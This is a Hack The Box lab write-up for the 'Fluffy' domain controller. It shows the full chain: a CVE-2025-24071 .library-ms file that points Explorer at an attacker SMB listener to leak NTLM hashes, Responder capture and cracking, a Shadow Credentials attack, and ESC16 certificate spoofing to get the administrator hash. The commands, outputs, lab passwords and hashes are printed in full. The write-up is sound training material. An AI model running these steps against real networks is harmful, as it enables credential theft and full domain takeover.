Fluffy - HTB Machine
Summary (How?)
We started by enumerating the provided credentials for the user j.fleischman
and identified an SMB share named IT
. After downloading files from the share, we discovered a PDF detailing vulnerabilities, including CVE-2025-24071, which enabled me to craft a malicious .zip
file to leak NTLM hashes via Windows Explorer’s automatic file parsing. Using this exploit, we captured the NTLM hash for the user p.agila
and cracked its password.
With p.agila
’s credentials, we found that the user had GenericAll
permissions over the SERVICE ACCOUNTS
group. This allowed us to add p.agila
to the group and, subsequently, perform a Shadow Credentials attack to impersonate the WINRM_SVC
account, successfully gaining access to the system as that user.
Further enumeration revealed that ca_svc
was vulnerable to ESC16, a misconfiguration in AD CS that disabled strong certificate mapping. Exploiting this, we modified the ca_svc
userPrincipalName to match the administrator
account, requested a certificate, and reverted the UPN. The obtained certificate allowed me to authenticate as administrator
, retrieve the NT hash, and ultimately gain full control over the domain, obtaining both the user and root flags.
Enumeration as j.fleischman
We are provided with the credentials j.fleischman / J0elTHEM4n1990!
nmap
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ nmap -p- --min-rate=1000 10.10.11.69 -oN nmap-all-ports
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-04 15:56 EDT
Stats: 0:01:31 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 48.82% done; ETC: 15:59 (0:01:35 remaining)
Nmap scan report for 10.10.11.69
Host is up (0.17s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
Services in detail
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ nmap -sC -sV $IP -p 53,88,139,389,445,464,593,636,3268,3269,5985,9389 -oN nmap-basic
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-04 16:00 EDT
Nmap scan report for 10.10.11.69
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-05 03:01:02Z)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
|_ssl-date: 2025-07-05T03:02:30+00:00; +7h00m00s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
|_ssl-date: 2025-07-05T03:02:30+00:00; +7h00m00s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
|_ssl-date: 2025-07-05T03:02:30+00:00; +7h00m00s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-05T03:02:30+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-07-05T03:01:47
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.01 seconds
Interesting findings
- This is a domain controller with FQDN:
dc01.fluffy.htb
Let’s add fluffy.htb and dc01.fluffy.htb to our hosts file
vim /etc/hosts
# Then add
10.10.11.69 fluffy.htb dc01.fluffy.htb
An interesting share - IT
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ smbmap -H fluffy.htb -u $USER -p $PASS
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - [email protected]
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 10.10.11.69:445 Name: fluffy.htb Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
IT READ, WRITE
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
[*] Closed 1 connections
Let’s enumerate the IT share
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ smbclient //fluffy.htb/IT -U $USER
Password for [WORKGROUP\j.fleischman]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Jul 4 23:20:53 2025
.. D 0 Fri Jul 4 23:20:53 2025
Everything-1.4.1.1026.x64 D 0 Fri Apr 18 11:08:44 2025
Everything-1.4.1.1026.x64.zip A 1827464 Fri Apr 18 11:04:05 2025
KeePass-2.58 D 0 Fri Apr 18 11:08:38 2025
KeePass-2.58.zip A 3225346 Fri Apr 18 11:03:17 2025
Upgrade_Notice.pdf A 169963 Sat May 17 10:31:07 2025
5842943 blocks of size 4096. 1642477 blocks available
smb: \>
We download both .zip
files and the .pdf
.
Upgrade_Notice.pdf
contains some critical information about high-impact vulnerabilities that apparently the system is vulnerable to, and a process to upgrade a system
Here an IT change management system is mentioned along with these CVEs, which after some research we found that all of them are valid ones
| CVE ID | Severity | CVSS | Affected Systems | Impact Summary |
| — | — | — | — |
| CVE‑2025‑24996 | Critical | 6.5 | Windows NTLM | External control of file path allows NTLM spoofing and potential credential exposure over the network. |
| CVE‑2025‑24071 | Critical | 6.5 | Windows 10/11, Server — Explorer | Sensitive info exposure; leaks NTLM hashes via CIFS/SMB requests when opening a malicious file. |
| CVE‑2025‑46785 | High | 6.5 | Zoom Workplace App for Windows | Authenticated user can trigger buffer over‑read and DoS.
|
| CVE‑2025‑29968 | High | 6.5 | Windows AD CS on Server 2012–2022 | Denial of service via malformed input to AD CS. |
| CVE‑2025‑21193 | Medium | 6.5 | Windows AD Federation Server (2016,2019,2022+) | Spoofing in AD FS SSO process |
| CVE‑2025‑3445 | Low | 8.1 | Go mholt/archiver
library | Zip‑Slip path traversal allows arbitrary file overwrite, privilege escalation, or code execution |
Findings:
- It’s interesting how the CVE-2025-3445 is classified as
Low
in the pdf while its CVSS is 8.1 - We are not interested in DoS, so CVE-2025-46785 and CVE-29968 are discarded
- At the end of the PDF there’s an email
[email protected]
The question is: Is the system still vulnerable to the remaining CVEs?
Then we have the contents of the zip files
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ ls -l Everything-1.4.1.1026.x64
total 3152
-rw-rw-r-- 1 kali kali 2265104 Aug 1 2024 everything.exe
-rw-rw-r-- 1 kali kali 958342 Jul 25 2024 Everything.lng
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ ls -l KeePass-2.58
total 5936
-rw-rw-r-- 1 kali kali 768478 Mar 4 10:26 KeePass.chm
-rw-rw-r-- 1 kali kali 3305824 Mar 4 10:24 KeePass.exe
-rw-rw-r-- 1 kali kali 763 Mar 4 10:27 KeePass.exe.config
-rw-rw-r-- 1 kali kali 609136 Mar 4 10:18 KeePassLibC32.dll
-rw-rw-r-- 1 kali kali 785776 Mar 4 10:20 KeePassLibC64.dll
-rw-rw-r-- 1 kali kali 463264 Mar 4 10:25 KeePass.XmlSerializers.dll
drwxrwxr-x 2 kali kali 4096 Mar 4 10:27 Languages
-rw-rw-r-- 1 kali kali 18710 Jan 1 2025 License.txt
drwxrwxr-x 2 kali kali 4096 Mar 4 10:27 Plugins
-rw-rw-r-- 1 kali kali 97128 Mar 4 10:26 ShInstUtil.exe
drwxrwxr-x 2 kali kali 4096 Mar 4 10:27 XSL
Everything 1.4.1
According to wikipedia this software is
Everything is a freeware desktop search utility for Windows that can rapidly find files and folders by name. While the binaries are licensed under a permissive licence identical to the MIT License, it is not open-source.
KeePass 2.58
According to it’s documentation
KeePass is a free open source password manager, which helps you to manage your passwords in a secure way. You can store all your passwords in one database, which is locked with a master key. So you only have to remember one single master key to unlock the whole database. Database files are encrypted using the best and most secure encryption algorithms currently known (AES-256, ChaCha20 and Twofish). For more information, see the features page.
BloodHound
The next step is to get an overview of the active directory environment using bloodhound
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ bloodhound-python -u $USER -p $PASS -dc dc01.fluffy.htb -d fluffy.htb --zip --nameserver 10.10.11.69 -c All
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: fluffy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 10 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.fluffy.htb
INFO: Done in 00M 31S
INFO: Compressing output into 20250705211900_bloodhound.zip
Importing this zip to bloodhound we can enumerate some more users
It’s also worth noting that p.agila
and j.coffey
belong to SERVICE ACCOUNT MANAGERS
group, which is not a built-in Active Directory group.
Let’s generate a wordlist with the discovered users
└─$ cat users.txt
j.fleischman
j.coffey
winrm_svc
p.agila
ldap_svc
ca_svc
krbtgt
administrator
And try a password spraying attack using the provided password. The attack was unsuccessful
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ sudo crackmapexec smb dc01.fluffy.htb -u users.txt -p $PASS
SMB fluffy.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB fluffy.htb 445 DC01 [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
Domain enumeration with crackmapexec
Groups
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ sudo crackmapexec smb dc01.fluffy.htb -u $USER -p $PASS --groups
SMB fluffy.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB fluffy.htb 445 DC01 [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB fluffy.htb 445 DC01 [+] Enumerated domain group(s)
SMB fluffy.htb 445 DC01 Service Accounts membercount: 3
SMB fluffy.htb 445 DC01 Service Account Managers membercount: 2
SMB fluffy.htb 445 DC01 Denied RODC Password Replication Group membercount: 8
SMB fluffy.htb 445 DC01 Windows Authorization Access Group membercount: 1
SMB fluffy.htb 445 DC01 Pre-Windows 2000 Compatible Access membercount: 2
SMB fluffy.htb 445 DC01 Group Policy Creator Owners membercount: 1
SMB fluffy.htb 445 DC01 Domain Admins membercount: 1
SMB fluffy.htb 445 DC01 Cert Publishers membercount: 2
SMB fluffy.htb 445 DC01 Enterprise Admins membercount: 1
SMB fluffy.htb 445 DC01 Schema Admins membercount: 1
SMB fluffy.htb 445 DC01 Remote Management Users membercount: 1
SMB fluffy.htb 445 DC01 Certificate Service DCOM Access membercount: 1
SMB fluffy.htb 445 DC01 Guests membercount: 2
SMB fluffy.htb 445 DC01 Users membercount: 3
SMB fluffy.htb 445 DC01 Administrators membercount: 3
NTLM leak via CVE-2025‑24071
From the previous analysis the two interesting remaining CVEs are
After doing some research we couldn’t find a working exploit for the first one, so we decided to try luck with the second one and found this PoC.
CVE-2025-24071 works by creating a malicious .zip
file that, when opened, causes the victim’s system to leak their NTLM
hash. The first step is specify the file name and our IP
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ python3 poc.py
Enter your file name: exploit.zip
Enter IP (EX: 192.168.1.162): 10.10.14.151 # OUR IP
completed
The next step is to start an SMB
listener using Responder
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ sudo responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.5.0
Finally, we upload the malicious .zip
file
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ smbclient //fluffy.htb/IT -U $USER
Password for [WORKGROUP\j.fleischman]:
Try "help" to get a list of possible commands.
smb: \> put exploit.zip
putting file exploit.zip as \exploit.zip (0.7 kb/s) (average 0.7 kb/s)
After waiting a few seconds for the user the open the file and… IT WORKED.
[SMB] NTLMv2-SSP Client : 10.10.11.69
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash : p.agila::FLUFFY:a6f521b039c6cc36:D2ECBA01ECFDFC4530A2F20926ECDBC9:010100000000000080D7C9F847EDDB018F8EA226D4A892C00000000002000800550052004600490001001E00570049004E002D0046005100300035004C0037004800480032005400380004003400570049004E002D0046005100300035004C003700480048003200540038002E0055005200460049002E004C004F00430041004C000300140055005200460049002E004C004F00430041004C000500140055005200460049002E004C004F00430041004C000700080080D7C9F847EDDB0106000400020000000800300030000000000000000100000000200000FAFCF354F728AA264460368E3114B2F1D89ADD5F516FE6A7DAC8FE1D9855716F0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100350031000000000000000000
Now we have p.agila
’s hash. Before trying to decrypt it let’s understand a bit what’s is going under the hood and how this CVE works. This blog explains it very well.
Two components of the Windows system make this vulnerability possible:
- Windows Explorer processes certain file types automatically upon extraction to generate previews, thumbnails, or index metadata, even if the file is never explicitly opened by the user.
- The
.library-ms
is a XML-based file format and it is trusted by Windows Explorer to define search and library locations.
What would happen then if I create a file that Windows Explorer will process indicating an external SMB server? The answer is that you will be able to get the victim’s hash, just as we did earlier. The file that we created was a .library-ms
containing an SMB path compressed within a RAR/ZIP archive. Once this it is extracted, Windows Explorer automatically parsed the contents of the file and sends us the victim’s hash.
If we unzip the exploit.zip
created by the PoC we can see that there is only one file with the following content
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ cat exploit.zip.library-ms
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\10.10.14.151\shared</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
The provided file contains a <simpleLocation>
tag pointing directly to an attacker-controlled SMB server: <url>\\10.10.14.151\shared</url>
. This action triggers an implicit NTLM authentication handshake from the victim’s system to the attacker-controlled SMB server. Consequently, the victim’s NTLMv2 hash is sent without explicit user interaction.
This vulnerability has been patched in this update changing the way these files are parsed.
And finally, the cracked password using hashcat
❯ hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt
P.AGILA::FLUFFY:a6f521b039c6cc36:d2ecba01ecfdfc4530a2f20926ecdbc9:010100000000000080d7c9f847eddb018f8ea226d4a892c00000000002000800550052004600490001001e00570049004e002d0046005100300035004c0037004800480032005400380004003400570049004e002d0046005100300035004c003700480048003200540038002e0055005200460049002e004c004f00430041004c000300140055005200460049002e004c004f00430041004c000500140055005200460049002e004c004f00430041004c000700080080d7c9f847eddb0106000400020000000800300030000000000000000100000000200000fafcf354f728aa264460368e3114b2f1d89add5f516fe6a7dac8fe1d9855716f0a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e0031003
4002e003100350031000000000000000000:prometheusx-303
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: P.AGILA::FLUFFY:a6f521b039c6cc36:d2ecba01ecfdfc4530...000000
Service Account Managers - Winrm Access
If we recall from our initial enumeration, p.agila
and j.coffey
are both members of the Service Account Managers group, let’s check if this group has any privileges over others using BloodHound.
Inside “Node info”, “First Degree Object Control” we can see that this group has GenericAll
over SERVICE ACCOUNTS
This is a VERY INTERESTING finding, why? Because it grants us full control over a target object, and we can abuse it using Add-DomainGroupMember
. This will allow us to add p.agila
as a member of this group,
Here is the full picture of how we will jump
Finally, SERVICE ACCOUNT
has GenericWrite
over CA_SVC
, LDAP_SVC
and WINRM_SVC
With GenericWrite
over these accounts we can write to any non-protected attribute of an object. Here we will perform a Shadow Credentials attack by overwriting the msDs-KeyCredentialLink
attribute to inject an asymmetric key (certificate) which will allow our controlled user to log in as a service account.
These two blogs are great resources to better understand what is going on
- Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover
- Exploiting and Detecting Shadow Credentials and msDS-KeyCredentialLink in Active Directory
In the second one they define these special types of credentials as
Shadow Credentials: These are credentials that attackers inject into Active Directory (AD) accounts to gain or maintain access to the modified account. They are often associated with adding rogue certificates or keys to a target user’s or computer’s msDS-KeyCredentialLink attribute. This allows them to authenticate as that user even if the password is reset.
Let’s proceed with the attack. First we add ourselves to the SERVICE ACCOUNT group
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ bloodyAD --host '10.10.11.69' -d 'dc01.fluffy.htb' -u 'p.agila' -p $PASS2 add groupMember 'SERVICE ACCOUNTS' p.agila
[+] p.agila added to SERVICE ACCOUNTS
And finally we leverage the Shadow Credentials attack using certipy-ad’s shadow command
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ certipy-ad shadow auto -u '[email protected]' -p $PASS2 -account 'WINRM_SVC' -dc-ip '10.10.11.69'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '5af7a668-fbb7-6e90-1769-d22cee3b917f'
[*] Adding Key Credential with device ID '5af7a668-fbb7-6e90-1769-d22cee3b917f' to the Key Credentials for 'winrm_svc'
[*] Successfully added Key Credential with device ID '5af7a668-fbb7-6e90-1769-d22cee3b917f' to the Key Credentials for 'winrm_svc'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Restoring the old Key Credentials for 'winrm_svc'
[*] Successfully restored the old Key Credentials for 'winrm_svc'
[*] NT hash for 'winrm_svc': 33bd09dcd697600edf6b3a7af4875767
It’s worth reading how ly4k explains in the documentation what the shadow command does
shadow
- Perform Shadow Credentials attack (certificate-based persistence via Key Credentials). This command can create a certificate-linked credential on a user (in the msDS-KeyCredentialLink attribute). Withcertipy shadow
, an attacker with appropriate rights can install a certificate on an object such that they can authenticate as that object via certificate (even if not via typical AD CS pathways).
And finally… WE ARE IN
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ evil-winrm -i dc01.fluffy.htb -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> whoami
hoamifluffy\winrm_svc
User flag
*Evil-WinRM* PS C:\Users\winrm_svc> cat Desktop/user.txt
f3e7858c85b61a4ae213cba58c3ab2a5
Privilege escalation - ESC16
We start our enumeration by looking at the privilege our current user has… Not many.
*Evil-WinRM* PS C:\Users\winrm_svc> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Since we have GenericWrite
over the ca_svc
user, it’s a good idea to enumerate Active Directory Certificate Services (AD CS) to check for potential ESC techniques. A must read to understand this subject is the wiki from the repo where all of them are explained.
What is AD CS?
Active Directory Certificate Services (AD CS) is Microsoft’s on-premises Public Key Infrastructure (PKI) solution for issuing and managing digital certificates within Active Directory environments. These certificates support critical functions such as file encryption, digital signatures, and authentication (e.g., smart card logon or TLS/SSL for servers).
How can it be exploited then? Because AD CS can issue password-equivalent credentials - certificates that allow access as a user or computer - a compromised Certificate Authority (CA) or misconfigured Certificate Template can be as impactful as a Domain Controller breach. For this reason, AD CS components are considered Tier-0 assets.
Let’s proceed as we did before with winrm_svc
to obtain credentials as ca_svc
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ certipy-ad shadow auto -u '[email protected]' -p $PASS2 -account 'CA_SVC' -dc-ip '10.10.11.69'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'eeec0413-fef8-8e71-9fcb-d9f80a6c5b97'
[*] Adding Key Credential with device ID 'eeec0413-fef8-8e71-9fcb-d9f80a6c5b97' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID 'eeec0413-fef8-8e71-9fcb-d9f80a6c5b97' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ca_svc.ccache'
[*] Wrote credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8
And then, we can use the function find
from certipy
to enumerate AD CS
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ certipy-ad find \
-u '[email protected]' -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 \
-dc-ip $IP -text \
-vulnerable
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'fluffy-DC01-CA' via RRP
[*] Successfully retrieved CA configuration for 'fluffy-DC01-CA'
[*] Checking web enrollment for CA 'fluffy-DC01-CA' @ 'DC01.fluffy.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20250706091945_Certipy.txt'
[*] Wrote text output to '20250706091945_Certipy.txt'
Looking at the result there is an interesting finding: the system is vulnerable to ESC16
Certificate Authorities
0
CA Name : fluffy-DC01-CA
DNS Name : DC01.fluffy.htb
Certificate Subject : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
[...]
[!] Vulnerabilities
ESC16 : Security Extension is disabled.
[*] Remarks
ESC16 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
The vulnerability arises from a misconfiguration where the CA itself is globally configured to disable the inclusion of the szOID_NTDS_CA_SECURITY_EXT
(or legacy and does not include it) security extension in all certificates it issues. This SID extension, introduced with the May 2022 security updates (KB5014754), is vital for “strong certificate mapping”, enabling DCs to reliably map a certificate to a user or computer account’s SID for authentication
The primary impact is that if Domain Controllers are not operating in “Full Enforcement” mode for strong certificate binding (StrongCertificateBindingEnforcement
registry key value is not 2
), they will fall back to weaker, legacy certificate mapping methods (e.g., based on userPrincipalName or DNS name found in the certificate’s SAN). This reopens attack vectors similar to those exploited by the “Certifried” vulnerability (CVE-2022-26923).
We can check that StrongCertificateBindingEnforcement
is not enabled by querying the registry
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> reg query "HKLM\System\CurrentControlSet\Services\Kdc\Parameters"
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Kdc\Parameters
ServiceDll REG_EXPAND_SZ %SystemRoot%\system32\kdcsvc.dll
The basic idea then is that if the DC is not operating in Full Enforcement mode and the CA-issued certificates don’t include the SID extension used for strong mapping, Windows will fall back to older, weaker certificate-to-account matching (UPN/SAN/DNS, etc.). Those weaker methods are easier to spoof or abuse, and that can be turned into privilege escalation or lateral movement (same class of risk as the old “Certifried” attacks).
Here you can find a detailed explanation of this vulnerability and the step by step guide on how to exploit.
With this in mind, and considering we have GenericWrite
over ca_svc
, the attack flow will be
- Change
ca_svc
userPrincipalName (UPN) to match a target privileged account’ssAMAccountName
, likeadministrator
. - Request a certificate (which will automatically lack the SID security extension due to the CA’s ESC16 configuration).
- Revert the UPN change.
- Use the certificate to impersonate the target.
We can a
Let’s exploit this and gain domain control.
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ certipy-ad account -u '[email protected]' -p $PASS2 -dc-ip '10.10.11.69' -user 'ca_svc' read
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Reading attributes for 'ca_svc':
cn : certificate authority service
distinguishedName : CN=certificate authority service,CN=Users,DC=fluffy,DC=htb
name : certificate authority service
objectSid : S-1-5-21-497550768-2797716248-2627064577-1103
sAMAccountName : ca_svc
servicePrincipalName : ADCS/ca.fluffy.htb
userPrincipalName : [email protected]
userAccountControl : 66048
whenCreated : 2025-04-17T16:07:50+00:00
whenChanged : 2025-07-06T12:18:36+00:00
Then we modify the UPN of ca_svc
to the user we want to impersonate, in this case administrator
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ certipy-ad account -u '[email protected]' -p $PASS2 -dc-ip '10.10.11.69' -upn 'administrator' -user 'ca_svc' update
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : administrator
[*] Successfully updated 'ca_svc'
Then we request a certificate as ca_svc
with the tampered UPN, which willl deceive the DC into giving us a certificate as domain admins.
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ export KRB5CCNAME=ca_svc.ccache
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ certipy-ad req -k -dc-ip $IP -target 'DC01.fluffy.htb' -ca 'fluffy-DC01-CA' -template 'User'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Requesting certificate via RPC
[*] Request ID is 15
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Finally, as it is recommended in the documentation (and would be really important in a real engagement), we set back ca_svc
UPN to its original value.
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ certipy-ad account -u '[email protected]' -p $PASS2 -dc-ip '10.10.11.69' -upn '[email protected]' -user 'ca_svc' update
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : [email protected]
[*] Successfully updated 'ca_svc'
With the certificate we can get admin’s hashes
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ certipy-ad auth -dc-ip $IP -pfx 'administrator.pfx' -username 'administrator' -domain 'fluffy.htb'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
And finally, a ticket to log in as administrators and retrieve the flag
┌──(kali㉿kali)-[~/htb-machines/2025/fluffy]
└─$ evil-winrm -i dc01.fluffy.htb -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e
Evil-WinRM shell v3.7
